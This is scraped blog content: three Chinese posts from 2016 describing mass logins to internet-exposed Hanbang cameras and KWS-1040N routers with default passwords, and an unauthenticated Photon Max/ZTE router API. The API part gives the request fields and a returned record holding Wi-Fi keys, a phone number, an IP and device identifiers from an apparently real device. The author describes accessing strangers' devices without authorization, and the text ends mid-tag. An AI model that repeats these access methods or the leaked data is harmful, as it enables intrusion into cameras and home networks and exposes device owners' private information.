a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u6279\u91cf\u767b\u5f55\u6c49\u90a6\u9ad8\u79d1\u67d0\u6b3e\u76d1\u63a7\u6444\u50cf\u5934\uff08flash\u7248\uff09"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-11-02, 5:09 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u4fe1\u606f\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Web\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u901a\u4fe1\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u626b\u63cfIP\u6bb5\u7684\u65f6\u5019\u53d1\u73b0\u6c49\u90a6\u9ad8\u79d1\u7684\u67d0\u6b3e\u76d1\u63a7\u6444\u50cf\u5934\uff0c\u7136\u540e\u770b\u4e86\u4e0b\uff0c\u6211\u64e6\u561e\uff0c\u8fde\u767b\u5f55\u65b9\u5f0f\u90fd\u8ddf\u6d77\u5eb7\u5a01\u89c6\u4e00\u6a21\u4e00\u6837\uff0c\u5475\u5475\uff0c\u90a3\u5c31\u6765\u4e2a\u6279\u91cf\u767b\u5f55\u5427\r\n</p>\r\n<h2>\r\n\t\u622a\u56fe\r\n</h2>\r\n<p>\r\n\t\u68c0\u7d22\u4e0b\u5217\u8868\uff0c\u6211\u81ea\u5df1\u7684IP\u626b\u63cf\u6570\u636e\u5e93\u4e2d\u7684\u6570\u636e\uff0c\u968f\u968f\u4fbf\u4fbf\u51e0\u767eIP\u6211\u4f1a\u4e71\u8bf4\uff1f</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=504\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/fd3c1b73c4bf145c5e0a1943ed9159a9.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t09-00-58.559z.png - \u5927\u5c0f: 292.42 KB - \u5c3a\u5bf8: 560 x 833 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"560\" height=\"833\"></a></div>\u968f\u4fbf\u627e\u4e00\u4e2a\u770b\u4e0b\uff0c\u767b\u5f55\u754c\u9762<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=505\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/dec14fcdc47bd911b4dcacad8b57e367.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t09-02-47.712z.png - \u5927\u5c0f: 17.12 KB - \u5c3a\u5bf8: 858 x 374 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"858\" height=\"374\"></a></div>\u7b80\u6d01\u5927\u6c14\uff0c\u518d\u770b\u770b\u9500\u9b42\u7684icon<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=506\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/ce7e3a353b02cf292dc094c8d974e8c4.png\" alt=\"2016-11-02 17-03-25\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 2.24 KB - \u5c3a\u5bf8: 244 x 50 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"244\" height=\"50\"></a></div>\u662f\u4e0d\u662f\u8ddf\u6d77\u5eb7\u5a01\u89c6\u957f\u7684\u4e00\u6837\u5462\uff1f\u63a5\u7740\u770b\u767b\u5f55\u94fe\u63a5\r\n\r\n<pre class=\"brush:bash;\">http://*.*.*.*/ISAPI/Security/userCheck</pre>\r\n\u8ddf\u6d77\u5eb7\u5a01\u89c6\u7684\u4e00\u6a21\u4e00\u6837\uff0c\u5475\u5475...\r\n<h2>\r\n\t\u6279\u91cf\r\n</h2>\r\n<p>\r\n\t\u4e0d\u60f3\u591a\u8bf4\uff0c\u76f4\u63a5\u6279\u91cf\uff0c\u5f97\u5230\u4e00\u4e2a\u5217\u8868</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=508\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/19afd32cec2d3da148535370077487a5.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t09-07-23.241z.png - \u5927\u5c0f: 393.6 KB - \u5c3a\u5bf8: 770 x 940 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"738\" height=\"900\"></a></div>\u4e00\u6293\u4e00\u5927\u628a\uff0c\u5168\u90e8\u4f7f\u7528\u4e86\u51fa\u5382\u8bbe\u7f6e\u7684\u9ed8\u8ba4\u5bc6\u7801 888888 \u6216\u8005 666666\uff0c\u53ef\u6015...\r\n\r\n<h2>\r\n\t\u8865\u5145\r\n</h2>\r\n<p>\r\n\t\u4e4b\u524d\u6709\u5199\u6d77\u5eb7\u5a01\u89c6\u7684\u6279\u91cf\u767b\u5f55\uff0c\u770b\u4e0b\u626b\u63cf\u7ed3\u679c</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=509\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/aaffe45a6381e230da4d34bc1388a3f1.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t09-20-30.340z.png - \u5927\u5c0f: 267.42 KB - \u5c3a\u5bf8: 767 x 611 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"767\" height=\"611\"></a></div>\r\n<div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23427 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u97e9\u56fd\u8def\u7531\u5668KWS-1040N WLAN AP Webserver\u9ed8\u8ba4\u53e3\u4ee4"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-11-02, 4:53 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u65e0\u7ebf\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Web\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\tKWS-1040N WLAN AP Webserver \u662f\u97e9\u56fd\u5883\u5185\u5927\u91cf\u4f7f\u7528\u7684\u4e00\u6b3e\u8def\u7531\u5668\u8bbe\u5907\uff0c\u754c\u9762\u7b80\u4ecb\u64cd\u4f5c\u7b80\u5355\uff0c\u529f\u80fd\u5f3a\u5927\u3002\u4f46\u662f\u53ea\u9700\u8981\u4e00\u4e2a\u5bc6\u7801\u5c31\u80fd\u767b\u5f55\u7684\u8bbe\u8ba1\u771f\u7684\u5408\u7406\u5417\uff1f<br>\r\n\u535a\u4e3b\u6211\u5c1d\u8bd5\u4f7f\u7528admin\u8fd9\u4e2a\u9ed8\u8ba4\u5f31\u53e3\u4ee4\u8fdb\u884c\u6279\u91cf\u767b\u5f55\uff0c\u53d1\u73b0\u6210\u529f\u7387\u90a3\u662f\u76f8\u5f53\u7684\u9ad8\uff0c\u4e0b\u9762\u5c31\u6765\u8bf4\u8bf4\u770b\u3002\r\n</p>\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u9996\u5148\u8fd8\u662f\u6765\u770b\u4e0b\u8def\u7531\u5668\u7684\u767b\u5f55\u754c\u9762\uff0c\u7b80\u6d01\u660e\u4e86</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=499\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/cf8d3be680a4346307fe10da934cb682.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t08-46-58.014z.png - \u5927\u5c0f: 9 KB - \u5c3a\u5bf8: 513 x 332 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"513\" height=\"332\"></a></div>\u7b80\u6d01\u7684\u8ba9\u4eba\u7a92\u606f...\r\n\r\n<p>\r\n\t\u767b\u5f55\u6210\u529f\u540e\u7684\u7ba1\u7406\u754c\u9762\u76ee\u524d\u6211\u53d1\u73b0\u7684\u6709\u4e24\u79cd\uff0c\u5982\u4e0b\u56fe\u6240\u793a</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=500\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/d24f3f1ee2ccddcd55f4a6438fb2de6f.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t08-48-11.547z.png - \u5927\u5c0f: 43.68 KB - \u5c3a\u5bf8: 927 x 435 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"423\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=501\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/3f611cce2944ae76d7c11346ca2461f4.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t08-48-37.795z.png - \u5927\u5c0f: 84.96 KB - \u5c3a\u5bf8: 1124 x 637 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"511\"></a></div>\u628awifi\u5bc6\u7801\u90a3\u91cc\u7684\u8f93\u5165\u6846\u5c5e\u6027\u6539\u6210text\u5c31\u80fd\u76f4\u63a5\u770b\u5230wifi\u5bc6\u7801<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=502\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/530440a7f9dbc070e50aabe06f00d3f0.png\" alt=\"2016-11-02 16-49-34\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 156.52 KB - \u5c3a\u5bf8: 1419 x 568 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"361\"></a></div>\r\n\r\n<h2>\r\n\t\u6279\u91cf\r\n</h2>\r\n<p>\r\n\t\u5199\u4e2a\u811a\u672c\u6279\u91cf\u767b\u5f55\uff0cweb\u670d\u52a1\u5b58\u5728\u4e8e8080\u7aef\u53e3\uff0c\u5982\u56fe</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=503\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/c8928a66649f5d4aaabddeb1e2602b90.png\" alt=\"2016-11-02 16-51-39\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 71.47 KB - \u5c3a\u5bf8: 611 x 656 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"611\" height=\"656\"></a></div>\r\n\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u7b80\u6d01\u50bb\u74dc\u5f0f\u7684\u8bbe\u8ba1\u867d\u7136\u5f88\u597d\uff0c\u4f46\u662f\u6700\u57fa\u672c\u7684\u5b89\u5168\u8bbe\u8ba1\u6700\u597d\u8fd8\u662f\u52a0\u4e00\u4e2a\u5427\uff0c\u5f3a\u5236\u7528\u6237\u4fee\u6539\u5bc6\u7801\u5e94\u8be5\u662f\u8def\u7531\u8bbe\u5907\u6807\u914d\u7684\u5b89\u5168\u673a\u5236\u4e86\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23426 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5370\u5ea63G WIFI\u54c1\u724c\u8def\u7531\u5668 Photon Max \u5947\u8469\u95ee\u9898"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-11-02, 3:46 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u65e0\u7ebf\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u4fe1\u606f\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u653b\u51fb\u6d4b\u8bd5", "\n\t\t\t\t\t\t\t\t\n, ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u4eca\u5929\u5728\u8fdb\u884cIP\u6bb5\u626b\u63cf\u7684\u65f6\u5019\u53d1\u73b0\u5370\u5ea6\u7684\u67d0IP\u6bb5\u4e0a\u5b58\u5728\u7740\u5927\u91cfHTTP\u5934\u4fe1\u606f\u4e3a\u201c<code role=\"listitem\" class=\"focusRow subFocusRow \">ZTE Web Server/1.0.0</code>\u201d \u7684\u4e3b\u673a\uff0c\u5982\u56fe</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=484\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/37756b4b438b6b3792e56a6e6c507e7d.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t06-27-29.280z.png - \u5927\u5c0f: 211.65 KB - \u5c3a\u5bf8: 475 x 640 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"475\" height=\"640\"></a></div>\u4e4d\u4e00\u770b\u8fd9\u7279\u4e48\u4e0d\u5c31\u662f\u4e2d\u5174\u7684\u8bbe\u5907\u7684\u4e48\uff0c\u663e\u773c\u7684ZTE\u4f3c\u4e4e\u5728\u8be0\u91ca\u7740\u4e00\u5207...\r\n\r\n<p>\r\n\t\u7136\u800c\uff0c\u5f53\u6211\u4f7f\u7528\u6d4f\u89c8\u5668\u8bbf\u95ee\u5176\u4e2d\u4e00\u4e2a\u4e3b\u673a\u7684\u65f6\u5019\uff0c\u5ffd\u7136\u53d1\u73b0\u4f3c\u4e4e\u5e76\u4e0d\u662f\u6211\u60f3\u8c61\u7684\u90a3\u6837\uff0c\u754c\u9762\u662f\u8fd9\u6837\u7684</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=485\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/63e93158c7464c21cce4b936eb0fec7a.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t06-30-51.966z.png - \u5927\u5c0f: 52.14 KB - \u5c3a\u5bf8: 1120 x 559 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"450\"></a></div>\u770b\u8d77\u6765\u5e76\u4e0d\u662f\u4e2d\u5174\u7684\u8bbe\u5907\uff0c\u6839\u636eLOGO\u6211\u627e\u5230\u4e86\u5b98\u65b9\u7f51\u7ad9\u5bf9\u4e8e\u8fd9\u6b3e\u8bbe\u5907\u7684\u4ecb\u7ecd https://www.tataphoton.com/en-in/photon-max-3g-wifi <div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=486\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/6dbf597e8f17f20a0c8d7e3deabf4d8e.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t06-32-17.118z.png - \u5927\u5c0f: 80.49 KB - \u5c3a\u5bf8: 1182 x 801 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"610\"></a></div>\u673a\u667a\u7684\u535a\u4e3b\u8fd8\u627e\u5230\u4e86\u4e00\u4e2a\u65b0\u95fb http://cn.technode.com/post/2013-12-27/tata-docomo-gives-people-want-they-want-right-now-more-mobile-data/ <div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=488\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/c8751c901b1d4484a7fe1daf8e17c0ea.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t06-33-36.766z.png - \u5927\u5c0f: 829.37 KB - \u5c3a\u5bf8: 712 x 850 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"712\" height=\"850\"></a></div>\u65b0\u95fb\u7684\u53d1\u5e03\u65f6\u95f4\u662f2013\u5e7412\u6708\uff0c\u770b\u6765\u8fd9\u6b3e\u8bbe\u5907\u5df2\u7ecf\u6709\u597d\u51e0\u5e74\u7684\u5386\u53f2\uff0c\u5370\u5ea6\u5e02\u573a\u8fd8\u662f\u4e0d\u9519\u7684\uff0c\u5f88\u591a\u5382\u5546\u90fd\u60f3\u5728\u8fd9\u4e2a\u65f6\u5019\u8d5a\u4e0a\u4e00\u7b14\u3002\r\n\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u5c1d\u8bd5\u4f7f\u7528\u4e86\u51e0\u7ec4\u5f31\u53e3\u4ee4\u767b\u5f55\u5747\u6ca1\u6709\u767b\u5f55\u6210\u529f\uff0c\u4e8e\u662f\u60f3\u770b\u4e0b\u8def\u7531\u5668\u7684\u767b\u5f55\u8fc7\u7a0b\uff0cfirebug\u6253\u5f00\u6211\u770b\u5230\u4e86\u4e00\u4e2a\u795e\u5947\u7684\u63a5\u53e3</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=489\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/8371e43d96e2e5396bb2c74428af5ef6.png\" alt=\"2016-11-02 14-37-36\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 48.29 KB - \u5c3a\u5bf8: 920 x 321 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"315\"></a></div>\u6211\u628a\u6574\u4e2a\u8bf7\u6c42\u7684\u76f8\u5173\u4fe1\u606f\u7a0d\u5fae\u6574\u7406\u4e0b\uff0c\u5982\u4e0b\u6240\u793a\uff1a\r\n\r\n<p>\r\n\tPOST\u8bf7\u6c42\u90e8\u5206\r\n</p>\r\n<pre class=\"brush:js;\">{\r\n\"func\":\"zte_sms_context\",\r\n\"func\":\"zte_get_ready_flag\",\r\n\"func\":\"zte_net_status\",\r\n\"func\":\"zte_device\",\r\n\"func\":\"zte_net_connection_ipv6\",\r\n\"func\":\"zte_otapa_end\",\r\n\"func\":\"zte_get_sms_report\",\r\n\"func\":\"zte_net\",\r\n\"func\":\"zte_wifi_security\",\r\n\"func\":\"zte_wifi_connection\"\r\n}</pre>\r\n\u518d\u770b\u4e0b\u8fd4\u56de\u7684\u6570\u636e\r\n<pre class=\"brush:js;\">{\r\n sms_context: {\r\n is_newsms: 0,\r\n sms_storage_t: 0,\r\n device_new_num: 0,\r\n sim_new_num: 0,\r\n new_sms: {\r\n type: 255,\r\n id: 0,\r\n number: \"\",\r\n timestamp: \"\",\r\n sms_tag: 0,\r\n content_t: {\r\n content: \"\",\r\n encoding: 0\r\n }\r\n }\r\n },\r\n get_ready_flag: {\r\n is_gw_ready: 1,\r\n is_dev_sms_full: 0,\r\n is_sim_sms_full: 0\r\n },\r\n net_status: {\r\n connection: 3,\r\n connection_ipv6: 0,\r\n connected_time: 8045,\r\n rssi: [\r\n {\r\n signal: 2,\r\n net_model: \"Photon Max\"\r\n },\r\n {\r\n signal: 4,\r\n net_model: \"Photon Max\"\r\n },\r\n {\r\n signal: 0,\r\n net_model: \"\"\r\n },\r\n {\r\n signal: 0,\r\n net_model: \"\"\r\n }\r\n ],\r\n provider: \"CDMA\",\r\n roam: 0,\r\n ecio: 63,\r\n rscp: -125,\r\n tx: 4965746,\r\n rx: 16787347,\r\n tx_rate: 8844,\r\n rx_rate: 1174,\r\n tx_current: 0,\r\n rx_current: 0,\r\n tx_history: 0,\r\n rx_history: 0,\r\n connected_time_history: 0\r\n },\r\n device: {\r\n sys_version: \"AC3633_V2_TATA_YR9AD818\",\r\n sw_version: \"ZT3633DT03\",\r\n hw_version: \"AC3633_V2MB_A\",\r\n wl_version: \"ac3633_v2_tata\",\r\n manufacturer: \"ZTE\",\r\n model: \"ZTE AC3633\",\r\n imei: \"\",\r\n meid: \"A000004EDBA3E6\",\r\n esn: \"80467197\",\r\n mdn: \"9249099010\",\r\n msid: \"0298301497\",\r\n build_time: \"15:32:34\",\r\n build_date: \"May 15 2015\"\r\n },\r\n net_connection_ipv6: 0,\r\n otapa_end: 0,\r\n get_sms_report: null,\r\n net: {\r\n ip: \"14.96.107.1\",\r\n mask: \"255.255.255.255\",\r\n gateway: \"14.96.107.1\",\r\n dns1: \"103.8.46.5\",\r\n dns2: \"103.8.45.5\",\r\n wins1: \"0.0.0.0\",\r\n wins2: \"0.0.0.0\",\r\n ipv6: \"0000:0000:0000:0000:0000:0000:0000:0000\",\r\n dns1_ipv6: \"0000:0000:0000:0000:0000:0000:0000:0000\",\r\n dns2_ipv6: \"0000:0000:0000:0000:0000:0000:0000:0000\"\r\n },\r\n wifi_security: {\r\n encryption_protocol: 3,\r\n auth_mode: 0,\r\n wep_key: \"12345\",\r\n wpa_psk_mode: 1,\r\n wpa_psk_key: \"12345678\"\r\n },\r\n wifi_connection: {\r\n count: 1,\r\n max_allowed: 5\r\n }\r\n}</pre>\r\n\u8fd4\u56de\u7684JSON\u6570\u636e\u91cc\u9762\u5c45\u7136\u5e26\u6709wifi\u5bc6\u7801\uff0c\u8fd8\u6709\u6536\u5230\u7684\u77ed\u4fe1\u7684\u5185\u5bb9\uff0c\u4ee5\u53ca\u4e00\u4e9b\u8bbe\u5907\u7684\u4fe1\u606f...\u8fd9\u5c31\u5f88\u5c34\u5c2c\u4e86\uff0c\u6211\u5e76\u6709\u767b\u5f55\u5440\uff0c\u89c2\u5bdf\u8bf7\u6c42\u7684\u53c2\u6570\u53d1\u73b0\uff0c\u4f3c\u4e4e\u6709\u4e00\u4e9b\u6709\u610f\u601d\u7684\u4e1c\u897f\uff0c\u770b\u8d77\u6765\u662f\u628a\u9700\u8981\u7684\u6570\u636e\u7684\u5b57\u6bb5\u53d1\u8fc7\u53bb\u5c31\u80fd\u8fd4\u56de\uff0c\u6211\u5c1d\u8bd5\u53ea\u4f20\u4e00\u4e2a\u53c2\u6570\uff0c\u770b\u4e0b\u8fd4\u56de\u7ed3\u679c\u662f\u5565\u6837\u7684\uff0c\u7ed3\u679c\u5982\u4e0b<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=490\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/190ed0611eef03eeb88931647e60f2f6.png\" alt=\"2016-11-02 14-44-54\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 26.73 KB - \u5c3a\u5bf8: 952 x 345 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"327\"></a></div>\u770b\u6765\u6211\u7684\u731c\u6d4b\u6ca1\u6709\u9519\uff0c\u90a3\u4e48\u662f\u4e0d\u662f\u6709\u8fd9\u4e48\u4e00\u79cd\u53ef\u80fd\u6027\u5462\uff0c\u5982\u8bf7\u6c42\u8fd4\u56de\u7528\u6237\u6570\u636e\uff0c\u90a3\u662f\u4e0d\u662f\u5c31\u76f4\u63a5\u62ff\u5230\u767b\u5f55\u5bc6\u7801\u4e86\u5462\uff1f\r\n<h2>\r\n\t\u95ee\u9898\r\n</h2>\r\n<p>\r\n\t\u90a3\u4e48\u95ee\u9898\u6765\u4e86\uff0c\u6211\u600e\u4e48\u624d\u80fd\u77e5\u9053\u7528\u6237\u6570\u636e\u7684\u5b57\u6bb5\u540d\u662f\u5565\u5462\uff1f\r\n</p>\r\n<p>\r\n\t\u6211\u51c6\u5907\u67e5\u770b\u4e0b\u6e90\u4ee3\u7801\uff0c\u67e5\u770b\u6e90\u4ee3\u7801\u7684\u65f6\u5019\u6211\u53d1\u73b0\u4e86\u4e00\u4e9b\u66f4\u6709\u610f\u601d\u7684\u4e8b\u60c5\uff0c\u5982\u56fe\u6240\u793a</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=491\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/c5a0bd2be067ffa64797ec3ffd8351ae.png\" alt=\"2016-11-02 14-54-01\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 85.08 KB - \u5c3a\u5bf8: 1008 x 690 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"617\"></a></div>\u4e2d\u6587\u7684\u6ce8\u91ca\uff0c\u5370\u5ea6\u7684\u4ea7\u54c1\uff0c\u4e2d\u6587\u7684\u6ce8\u91ca\uff0c\u53ef\u4ee5...\u8fd8\u6709<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=492\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/630671eeebb38e8133316146db7c95a4.png\" alt=\"2016-11-02 14-56-05\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 3.72 KB - \u5c3a\u5bf8: 408 x 92 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"408\" height=\"92\"></a></div>\u535a\u4e3b\u4e66\u8bfb\u7684\u5c11\uff0c\u770b\u4e0d\u61c2\u5355\u8bcd\u5565\u610f\u601d<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=493\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/1fba1c825ec761fbdfdd177e2975dfb1.png\" alt=\"2016-11-02 14-56-15\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 36.55 KB - \u5c3a\u5bf8: 665 x 354 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"665\" height=\"354\"></a></div>\u539f\u6765\u5236\u9020\u5382\u662f\u4e2d\u5174\u554a\uff0c\u96be\u602aServer\u4fe1\u606f\u662fZTE\uff0c\u58ee\u54c9\u6211\u5927\u4e2d\u5174\uff0c\u6839\u636emodel\u641c\u7d22\u4e0b\u8fd9\u4e2a\uff0c\u8fd8\u771f\u53d1\u73b0\u4e86\u540c\u6b3e\u8bbe\u5907<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=494\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/e5d133431ba1eacae27ca84d728317eb.png\" 